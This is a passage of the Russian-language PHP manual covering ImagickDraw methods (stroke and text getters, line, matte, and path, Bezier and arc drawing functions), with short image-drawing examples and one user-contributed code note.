  • Возвращает непрозрачность обведённых контуров объекта

ImagickDraw::getStrokeOpacity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeOpacity — Возвращает непрозрачность обведённых контуров объекта

Описание

public ImagickDraw::getStrokeOpacity(): float
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает непрозрачность обведённых контуров объекта.

Возвращаемые значения

Возвращает число с плавающей точкой (float), описывающее непрозрачность.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ширину обводки, используемой для рисования контуров объекта

  • « ImagickDraw::getStrokeOpacity
  • ImagickDraw::getTextAlignment »
  • PHP Manual
  • ImagickDraw
  • Возвращает ширину обводки, используемой для рисования контуров объекта

ImagickDraw::getStrokeWidth

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeWidth — Возвращает ширину обводки, используемой для рисования контуров объекта

Описание

public ImagickDraw::getStrokeWidth(): float
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает ширину обводки, используемой для рисования контуров объекта.

Возвращаемые значения

Возвращает число с плавающей точкой (float), описывающее ширину обводки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает выравнивание текста

  • « ImagickDraw::getStrokeWidth
  • ImagickDraw::getTextAntialias »
  • PHP Manual
  • ImagickDraw
  • Возвращает выравнивание текста

ImagickDraw::getTextAlignment

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getTextAlignment — Возвращает выравнивание текста

Описание

public ImagickDraw::getTextAlignment(): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает выравнивание, применённое при аннотации текста.

Возвращаемые значения

Возвращает одну из констант ALIGN (imagick::ALIGN_*) или 0, если выравнивание не задано.

User Contributed Notes

moguchicorp at gmail dot com 14-Mar-2011 03:05
check ImagickDraw::SetTextAlignment notes for examples and constants values

http://php.net/manual/en/function.imagickdraw-settextalignment.php


Возвращает текущую настройку сглаживания текста

  • « ImagickDraw::getTextAlignment
  • ImagickDraw::getTextDecoration »
  • PHP Manual
  • ImagickDraw
  • Возвращает текущую настройку сглаживания текста

ImagickDraw::getTextAntialias

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getTextAntialias — Возвращает текущую настройку сглаживания текста

Описание

public ImagickDraw::getTextAntialias(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает текущую настройку сглаживания текста, которая определяет, является ли текст сглаженным. По умолчанию сглаживание текста включено.

Возвращаемые значения

Возвращает true, если текст сглажен или false, если нет.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает оформление текста

  • « ImagickDraw::getTextAntialias
  • ImagickDraw::getTextEncoding »
  • PHP Manual
  • ImagickDraw
  • Возвращает оформление текста

ImagickDraw::getTextDecoration

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getTextDecoration — Возвращает оформление текста

Описание

public ImagickDraw::getTextDecoration(): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает оформление, применённое при аннотации текста.

Возвращаемые значения

Возвращает одну из констант DECORATION (imagick::DECORATION_*) или 0, если оформление не задано.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает кодовый набор, используемый для текстовых аннотаций

  • « ImagickDraw::getTextDecoration
  • ImagickDraw::getTextInterlineSpacing »
  • PHP Manual
  • ImagickDraw
  • Возвращает кодовый набор, используемый для текстовых аннотаций

ImagickDraw::getTextEncoding

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getTextEncoding — Возвращает кодовый набор, используемый для текстовых аннотаций

Описание

public ImagickDraw::getTextEncoding(): string
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает строку, определяющую кодовый набор, используемый для текстовых аннотаций.

Возвращаемые значения

Возвращает строку, определяющую кодовый набор, или false, если кодировка текста не установлена.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает межстрочный интервал текста

  • « ImagickDraw::getTextEncoding
  • ImagickDraw::getTextInterwordSpacing »
  • PHP Manual
  • ImagickDraw
  • Возвращает межстрочный интервал текста

ImagickDraw::getTextInterlineSpacing

(PECL imagick 3 >= 3.1.0)

ImagickDraw::getTextInterlineSpacing — Возвращает межстрочный интервал текста

Описание

public ImagickDraw::getTextInterlineSpacing(): float

Возвращает межстрочный интервал текста.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает межсловный интервал текста

  • « ImagickDraw::getTextInterlineSpacing
  • ImagickDraw::getTextKerning »
  • PHP Manual
  • ImagickDraw
  • Возвращает межсловный интервал текста

ImagickDraw::getTextInterwordSpacing

(PECL imagick 2 >= 2.3.0, PECL imagick 3 >= 3.1.0)

ImagickDraw::getTextInterwordSpacing — Возвращает межсловный интервал текста

Описание

public ImagickDraw::getTextInterwordSpacing(): float

Возвращает межсловный интервал текста.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает межбуквенный интервал текста

  • « ImagickDraw::getTextInterwordSpacing
  • ImagickDraw::getTextUnderColor »
  • PHP Manual
  • ImagickDraw
  • Возвращает межбуквенный интервал текста

ImagickDraw::getTextKerning

(PECL imagick 2 >= 2.3.0, PECL imagick 3 >= 3.1.0)

ImagickDraw::getTextKerning — Возвращает межбуквенный интервал текста

Описание

public ImagickDraw::getTextKerning(): float

Возвращает межбуквенный интервал текста.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цвет под текстом

  • « ImagickDraw::getTextKerning
  • ImagickDraw::getVectorGraphics »
  • PHP Manual
  • ImagickDraw
  • Возвращает цвет под текстом

ImagickDraw::getTextUnderColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getTextUnderColor — Возвращает цвет под текстом

Описание

public ImagickDraw::getTextUnderColor(): ImagickPixel
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает цвет фонового прямоугольника для размещения под текстовыми аннотациями.

Возвращаемые значения

Возвращает объект ImagickPixel, описывающий цвет.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строку, содержащую векторную графику

  • « ImagickDraw::getTextUnderColor
  • ImagickDraw::line »
  • PHP Manual
  • ImagickDraw
  • Возвращает строку, содержащую векторную графику

ImagickDraw::getVectorGraphics

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getVectorGraphics — Возвращает строку, содержащую векторную графику

Описание

public ImagickDraw::getVectorGraphics(): string
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает строку, которая определяет векторную графику, сгенерированную любыми графическими вызовами, сделанными с момента создания объекта ImagickDraw.

Возвращаемые значения

Возвращает строку, содержащую векторную графику.

User Contributed Notes

There are no user contributed notes for this page.


Рисует линию

  • « ImagickDraw::getVectorGraphics
  • ImagickDraw::matte »
  • PHP Manual
  • ImagickDraw
  • Рисует линию

ImagickDraw::line

(PECL imagick 2, PECL imagick 3)

ImagickDraw::line — Рисует линию

Описание

public ImagickDraw::line(
float $sx,
float $sy,
float $ex,
float $ey
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует линию на изображении, используя текущий цвет обводки, её прозрачность и ширину.

Список параметров

sx

Начальная координата x.

sy

Начальная координата y.

ex

Конечная координата x.

ey

Конечная координата y.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::line()

<?php
function line($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->line(125, 70, 100, 50);
$draw->line(350, 170, 100, 150);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

GaryM at BinaryFarm dot com 24-Feb-2010 11:48
<?php

// a twist on the above radar screen.
// This makes random colored spokes from a center point

    $width =  400;
    $height = 400;

    $image = new Imagick();
    $image->newImage( $width, $height, new ImagickPixel( 'wheat' ) );
    $draw = new ImagickDraw();
   //$draw->setStrokeColor( new ImagickPixel( 'black' ) );

    $rx = $width / 2;
    $ry = $height / 2;
    $total = 2*M_PI;
    $part = $total / 16;
    while( $total > 0  )
    {
        $ex = $rx +$rx * sin( $total );
        $ey = $ry +$ry * cos( $total );
        $draw->line  ( $rx, $ry, $ex, $ey );
        $total -= $part;

    // We need three HEX numbers to create an RGB color code like '#FF33DD'.

    $draw->setStrokeColor( get_random_color() );
    }
    $image->drawImage( $draw );
    $image->setImageFormat( "png" );
    header( "Content-Type: image/png" );
    echo $image;
    exit;

function get_random_color()        // Thanks to Greg R. for this nice little function.
{
    for ($i = 0; $i<6; $i++)
    {
        $c .=  dechex(rand(0,15));
    }
    return "#$c";
}
?>


Закрашивает канал непрозрачности изображения

  • « ImagickDraw::line
  • ImagickDraw::pathClose »
  • PHP Manual
  • ImagickDraw
  • Закрашивает канал непрозрачности изображения

ImagickDraw::matte

(PECL imagick 2, PECL imagick 3)

ImagickDraw::matte — Закрашивает канал непрозрачности изображения

Описание

public ImagickDraw::matte(float $x, float $y, int $paintMethod): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Закрашивает канал непрозрачности изображения с целью сделать затронутые пиксели прозрачными.

Список параметров

x

Координата x.

y

Координата y.

paintMethod

Одна из констант PAINT (imagick::PAINT_*).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования ImagickDraw::matte()

<?php
function matte($strokeColor, $fillColor, $backgroundColor, $paintType) {
$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->matte(120, 120, $paintType);
$draw->rectangle(100, 100, 300, 200);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Добавляет элемент пути к текущему пути

  • « ImagickDraw::matte
  • ImagickDraw::pathCurveToAbsolute »
  • PHP Manual
  • ImagickDraw
  • Добавляет элемент пути к текущему пути

ImagickDraw::pathClose

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathClose — Добавляет элемент пути к текущему пути

Описание

public ImagickDraw::pathClose(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Добавляет элемент пути к текущему пути, который закрывает текущий дополнительный путь, рисуя прямую линию от текущей точки до самой последней начальной точки текущего дополнительного пути (обычно, самой последней точки).

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Рисует кубическую кривую Безье

  • « ImagickDraw::pathClose
  • ImagickDraw::pathCurveToQuadraticBezierAbsolute »
  • PHP Manual
  • ImagickDraw
  • Рисует кубическую кривую Безье

ImagickDraw::pathCurveToAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToAbsolute — Рисует кубическую кривую Безье

Описание

public ImagickDraw::pathCurveToAbsolute(
float $x1,
float $y1,
float $x2,
float $y2,
float $x,
float $y
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует кубическую кривую Безье от текущей точки до (x,y), используя (x1,y1) в качестве контрольной точки в начале кривой и (x2,y2) в качестве контрольной точки в конце кривой с использованием абсолютных координат. В конце команды новая текущая точка становится последней парой координат (x, y), используемой в кубической кривой Безье.

Список параметров

x1

Координата x первой контрольной точки.

y1

Координата y первой контрольной точки.

x2

Координата x второй контрольной точки.

y2

Координата y второй контрольной точки.

x

Координата x конца кривой.

y

Координата y конца кривой.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Рисует квадратичную кривую Безье

  • « ImagickDraw::pathCurveToAbsolute
  • ImagickDraw::pathCurveToQuadraticBezierRelative »
  • PHP Manual
  • ImagickDraw
  • Рисует квадратичную кривую Безье

ImagickDraw::pathCurveToQuadraticBezierAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToQuadraticBezierAbsolute — Рисует квадратичную кривую Безье

Описание

public ImagickDraw::pathCurveToQuadraticBezierAbsolute(
float $x1,
float $y1,
float $x,
float $y
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует квадратичную кривую Безье от текущей точки до (x,y) с (x1,y1) в качестве контрольной точки, используя абсолютные координаты. В конце команды новая текущая точка становится последней парой координат (x,y), используемой в кривой Безье.

Список параметров

x1

Координата x контрольной точки.

y1

Координата y первой контрольной точки.

x

Координата x конечной точки.

y

Координата y конечной точки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::pathCurveToQuadraticBezierAbsolute()

<?php
function pathCurveToQuadraticBezierAbsolute($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->pathStart();
$draw->pathMoveToAbsolute(50,250);

// Определение квадратичной кривой Безье с текущей позицией в качестве начальной точки,
// контрольной точкой являются первые два параметра, а конечной - последние два.
$draw->pathCurveToQuadraticBezierAbsolute(
150,50,
250,250
);

// Определение квадратичной кривой Безье с текущей позицией в качестве начальной точки,
// контрольная точка зеркально отражается от контрольной точки предыдущей кривой,
// а конечная точка определяется значениями x, y.
$draw->pathCurveToQuadraticBezierSmoothAbsolute(
450,250
);

// Определение квадратичной кривой Безье с текущей позицией в качестве начальной точки,
// контрольная точка зеркально отражается от контрольной точки предыдущей кривой,
// а конечная точка определяется значениями x, y относительно текущей позиции.
$draw->pathCurveToQuadraticBezierSmoothRelative(
200,-100
);

$draw->pathFinish();

$imagick = new \Imagick();
$imagick->newImage(700, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();

}

?>

User Contributed Notes

There are no user contributed notes for this page.


Рисует квадратичную кривую Безье

  • « ImagickDraw::pathCurveToQuadraticBezierAbsolute
  • ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute »
  • PHP Manual
  • ImagickDraw
  • Рисует квадратичную кривую Безье

ImagickDraw::pathCurveToQuadraticBezierRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToQuadraticBezierRelative — Рисует квадратичную кривую Безье

Описание

public ImagickDraw::pathCurveToQuadraticBezierRelative(
float $x1,
float $y1,
float $x,
float $y
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует квадратичную кривую Безье от текущей точки до (x,y) с (x1,y1) в качестве контрольной точки, используя относительные координаты. В конце команды новая текущая точка становится последней парой координат (x,y), используемой в кривой Безье.

Список параметров

x1

Начальная координата x.

y1

Начальная координата y.

x

Конечная координата x.

y

Конечная координата y.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Рисует квадратичную кривую Безье

  • « ImagickDraw::pathCurveToQuadraticBezierRelative
  • ImagickDraw::pathCurveToQuadraticBezierSmoothRelative »
  • PHP Manual
  • ImagickDraw
  • Рисует квадратичную кривую Безье

ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute — Рисует квадратичную кривую Безье

Описание

public ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute(float $x, float $y): bool

Рисует квадратичную кривую Безье (с использованием абсолютных координат) от текущей точки до (x,y). Предполагается, что контрольная точка является отражением контрольной точки предыдущей команды относительно текущей точки. (Если предыдущая команда отсутствует или не является DrawPathCurveToQuadraticBezierAbsolute, DrawPathCurveToQuadraticBezierRelative, DrawPathCurveToQuadraticBezierSmoothAbsolute или DrawPathCurveToQuadraticBezierSmoothRelative, то предполагается, что контрольная точка совпадает с текущей). В конце команды новая текущая точка становится последней парой координат (x,y), используемой в кривой Безье.

Функцию нельзя использовать для плавного продолжения кубической кривой Безье. Она может плавно продолжать только квадратичную кривую.

Список параметров

x

Конечная координата x.

y

Конечная координата y.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute()

<?php
$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeColor("black");
$draw->setFillColor("blue");

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->pathStart();
$draw->pathMoveToAbsolute(50,250);

// Определение квадратичной кривой Безье с текущей позицией в качестве начальной точки,
// контрольной точкой являются первые два параметра, а конечной - последние два.
$draw->pathCurveToQuadraticBezierAbsolute(
150,50,
250,250
);

// Определение квадратичной кривой Безье с текущей позицией в качестве начальной точки,
// контрольная точка зеркально отражается от контрольной точки предыдущей кривой,
// а конечная точка определяется значениями x, y.
$draw->pathCurveToQuadraticBezierSmoothAbsolute(
450,250
);

// Определение квадратичной кривой Безье с текущей позицией в качестве начальной точки,
// контрольная точка зеркально отражается от контрольной точки предыдущей кривой,
// а конечная точка определяется значениями x, y относительно текущей позиции.
$draw->pathCurveToQuadraticBezierSmoothRelative(
200,-100
);

$draw->pathFinish();

$imagick = new \Imagick();
$imagick->newImage(700, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
?>

User Contributed Notes

There are no user contributed notes for this page.


Рисует квадратичную кривую Безье

  • « ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute
  • ImagickDraw::pathCurveToRelative »
  • PHP Manual
  • ImagickDraw
  • Рисует квадратичную кривую Безье

ImagickDraw::pathCurveToQuadraticBezierSmoothRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToQuadraticBezierSmoothRelative — Рисует квадратичную кривую Безье

Описание

public ImagickDraw::pathCurveToQuadraticBezierSmoothRelative(float $x, float $y): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует квадратичную кривую Безье (с использованием относительных координат) от текущей точки до (x,y). Предполагается, что контрольная точка является отражением контрольной точки предыдущей команды относительно текущей точки. (Если предыдущая команда отсутствует или не является DrawPathCurveToQuadraticBezierAbsolute, DrawPathCurveToQuadraticBezierRelative, DrawPathCurveToQuadraticBezierSmoothAbsolute или DrawPathCurveToQuadraticBezierSmoothRelative, то предполагается, что контрольная точка совпадает с текущей). В конце команды новая текущая точка становится последней парой координат (x,y), используемой в кривой Безье.

Функцию нельзя использовать для плавного продолжения кубической кривой Безье. Она может плавно продолжать только квадратичную кривую.

Список параметров

x

Конечная координата x.

y

Конечная координата y.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::pathCurveToQuadraticBezierSmoothRelative()

<?php
$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeColor("black");
$draw->setFillColor("blue");

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->pathStart();
$draw->pathMoveToAbsolute(50,250);

// Определение квадратичной кривой Безье с текущей позицией в качестве начальной точки,
// контрольной точкой являются первые два параметра, а конечной - последние два.
$draw->pathCurveToQuadraticBezierAbsolute(
150,50,
250,250
);

// Определение квадратичной кривой Безье с текущей позицией в качестве начальной точки,
// контрольная точка зеркально отражается от контрольной точки предыдущей кривой,
// а конечная точка определяется значениями x, y.
$draw->pathCurveToQuadraticBezierSmoothAbsolute(
450,250
);

// Определение квадратичной кривой Безье с текущей позицией в качестве начальной точки,
// контрольная точка зеркально отражается от контрольной точки предыдущей кривой,
// а конечная точка определяется значениями x, y относительно текущей позиции.
$draw->pathCurveToQuadraticBezierSmoothRelative(
200,-100
);

$draw->pathFinish();

$imagick = new \Imagick();
$imagick->newImage(700, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
?>

User Contributed Notes

There are no user contributed notes for this page.


Рисует кубическую кривую Безье

  • « ImagickDraw::pathCurveToQuadraticBezierSmoothRelative
  • ImagickDraw::pathCurveToSmoothAbsolute »
  • PHP Manual
  • ImagickDraw
  • Рисует кубическую кривую Безье

ImagickDraw::pathCurveToRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToRelative — Рисует кубическую кривую Безье

Описание

public ImagickDraw::pathCurveToRelative(
float $x1,
float $y1,
float $x2,
float $y2,
float $x,
float $y
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует кубическую кривую Безье от текущей точки до (x,y), используя (x1,y1) в качестве контрольной точки в начале кривой и (x2,y2) в качестве контрольной точки в конце кривой с использованием относительных координат. В конце команды новая текущая точка становится последней парой координат (x,y), используемой в кубической кривой Безье.

Список параметров

x1

Координата x начальной контрольной точки.

y1

Координата y начальной контрольной точки.

x2

Координата x конечной контрольной точки.

y2

Координата y конечной контрольной точки.

x

Конечная координата x.

y

Конечная координата y.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Рисует кубическую кривую Безье

  • « ImagickDraw::pathCurveToRelative
  • ImagickDraw::pathCurveToSmoothRelative »
  • PHP Manual
  • ImagickDraw
  • Рисует кубическую кривую Безье

ImagickDraw::pathCurveToSmoothAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToSmoothAbsolute — Рисует кубическую кривую Безье

Описание

public ImagickDraw::pathCurveToSmoothAbsolute(
float $x2,
float $y2,
float $x,
float $y
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует кубическую кривую Безье от текущей точки до (x,y) с использованием абсолютных координат. Предполагается, что первая контрольная точка является отражением второй контрольной точки предыдущей команды относительно текущей точки. (Если предыдущая команда отсутствует или не является DrawPathCurveToAbsolute, DrawPathCurveToRelative, DrawPathCurveToSmoothAbsolute или DrawPathCurveToSmoothRelative, то предполагается, что первая контрольная точка совпадает с текущей точкой). (x2,y2) - вторая контрольная точка (т.е. контрольная точка в конце кривой). В конце команды новая текущая точка становится последней парой координат (x,y), используемой в кривой Безье.

Список параметров

x2

Координата x второй контрольной точки.

y2

Координата y второй контрольной точки.

x

Координата x конечной точки.

y

Координата y конечной точки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Рисует кубическую кривую Безье

  • « ImagickDraw::pathCurveToSmoothAbsolute
  • ImagickDraw::pathEllipticArcAbsolute »
  • PHP Manual
  • ImagickDraw
  • Рисует кубическую кривую Безье

ImagickDraw::pathCurveToSmoothRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToSmoothRelative — Рисует кубическую кривую Безье

Описание

public ImagickDraw::pathCurveToSmoothRelative(
float $x2,
float $y2,
float $x,
float $y
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует кубическую кривую Безье от текущей точки до (x,y) с использованием относительных координат. Предполагается, что первая контрольная точка является отражением второй контрольной точки предыдущей команды относительно текущей точки. (Если предыдущая команда отсутствует или не является DrawPathCurveToAbsolute, DrawPathCurveToRelative, DrawPathCurveToSmoothAbsolute или DrawPathCurveToSmoothRelative, то предполагается, что первая контрольная точка совпадает с текущей точкой). (x2,y2) - вторая контрольная точка (т.е. контрольная точка в конце кривой). В конце команды новая текущая точка становится последней парой координат (x,y), используемой в кривой Безье.

Список параметров

x2

Координата x второй контрольной точки.

y2

Координата y второй контрольной точки.

x

Координата x конечной точки.

y

Координата y конечной точки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Рисует эллиптическую дугу

  • « ImagickDraw::pathCurveToSmoothRelative
  • ImagickDraw::pathEllipticArcRelative »
  • PHP Manual
  • ImagickDraw
  • Рисует эллиптическую дугу

ImagickDraw::pathEllipticArcAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathEllipticArcAbsolute — Рисует эллиптическую дугу

Описание

public ImagickDraw::pathEllipticArcAbsolute(
float $rx,
float $ry,
float $x_axis_rotation,
bool $large_arc_flag,
bool $sweep_flag,
float $x,
float $y
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует эллиптическую дугу от текущей точки до (x, y) с использованием абсолютных координат. Размер и ориентация эллипса определяются двумя радиусами (rx, ry) и параметром xAxisRotation, который указывает, как эллипс в целом вращается относительно текущей системы координат. Центр (cx, cy) эллипса вычисляется автоматически, чтобы удовлетворить ограничения, налагаемые другими параметрами. largeArcFlag и sweepFlag участвуют в автоматических вычислениях и помогают определить, как нарисована дуга. Если значение large_arc_flag равно true, то рисуется наибольшая из доступных дуг. Если значение sweep_flag равно true, то рисуется дуга, соответствующая вращению по часовой стрелке.

Список параметров

rx

Радиус x.

ry

Радиус y.

x_axis_rotation

Вращение оси x.

large_arc_flag

Флаг large arc.

sweep_flag

Флаг sweep.

x

Координата x.

y

Координата y.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Рисует эллиптическую дугу

  • « ImagickDraw::pathEllipticArcAbsolute
  • ImagickDraw::pathFinish »
  • PHP Manual
  • ImagickDraw
  • Рисует эллиптическую дугу

ImagickDraw::pathEllipticArcRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathEllipticArcRelative — Рисует эллиптическую дугу

Описание

public ImagickDraw::pathEllipticArcRelative(
float $rx,
float $ry,
float $x_axis_rotation,
bool $large_arc_flag,
bool $sweep_flag,
float $x,
float $y
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует эллиптическую дугу от текущей точки до (x, y) с использованием относительных координат. Размер и ориентация эллипса определяются двумя радиусами (rx, ry) и параметром xAxisRotation, который указывает, как эллипс в целом вращается относительно текущей системы координат. Центр (cx, cy) эллипса вычисляется автоматически, чтобы удовлетворить ограничения, налагаемые другими параметрами. largeArcFlag и sweepFlag участвуют в автоматических вычислениях и помогают определить, как нарисована дуга. Если значение large_arc_flag равно true, то рисуется наибольшая из доступных дуг. Если значение sweep_flag равно true, то рисуется дуга, соответствующая вращению по часовой стрелке.

Список параметров

rx

Радиус x.

ry

Радиус y.

x_axis_rotation

Вращение оси x.

large_arc_flag

Флаг large arc.

sweep_flag

Флаг sweep.

x

Координата x.

y

Координата y.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Завершает текущий путь

  • « ImagickDraw::pathEllipticArcRelative
  • ImagickDraw::pathLineToAbsolute »
  • PHP Manual
  • ImagickDraw
  • Завершает текущий путь

ImagickDraw::pathFinish

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathFinish — Завершает текущий путь

Описание

public ImagickDraw::pathFinish(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Завершает текущий путь.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Рисует линию

  • « ImagickDraw::pathFinish
  • ImagickDraw::pathLineToHorizontalAbsolute »
  • PHP Manual
  • ImagickDraw
  • Рисует линию

ImagickDraw::pathLineToAbsolute

(PECL imagick 2)

ImagickDraw::pathLineToAbsolute — Рисует линию

Описание

public ImagickDraw::pathLineToAbsolute(float $x, float $y): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует линию от текущей точки до заданной координаты с использованием абсолютных координат. Затем координата становится новой текущей точкой.

Список параметров

x

Начальная координата X

y

Конечная координата X

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Рисует горизонтальную линию

  • « ImagickDraw::pathLineToAbsolute
  • ImagickDraw::pathLineToHorizontalRelative »
  • PHP Manual
  • ImagickDraw
  • Рисует горизонтальную линию

ImagickDraw::pathLineToHorizontalAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathLineToHorizontalAbsolute — Рисует горизонтальную линию

Описание

public ImagickDraw::pathLineToHorizontalAbsolute(float $x): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует горизонтальную линию от текущей точки до целевой точки с использованием абсолютных координат. Целевая точка становится новой текущей точкой.

Список параметров

x

Координата X

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Рисует горизонтальную линию

  • « ImagickDraw::pathLineToHorizontalAbsolute
  • ImagickDraw::pathLineToRelative »
  • PHP Manual
  • ImagickDraw
  • Рисует горизонтальную линию

ImagickDraw::pathLineToHorizontalRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathLineToHorizontalRelative — Рисует горизонтальную линию

Описание

public ImagickDraw::pathLineToHorizontalRelative(float $x): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует горизонтальную линию от текущей точки до целевой точки с использованием относительных координат. Целевая точка становится новой текущей точкой.

Список параметров

x

Координата X

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Рисует линию

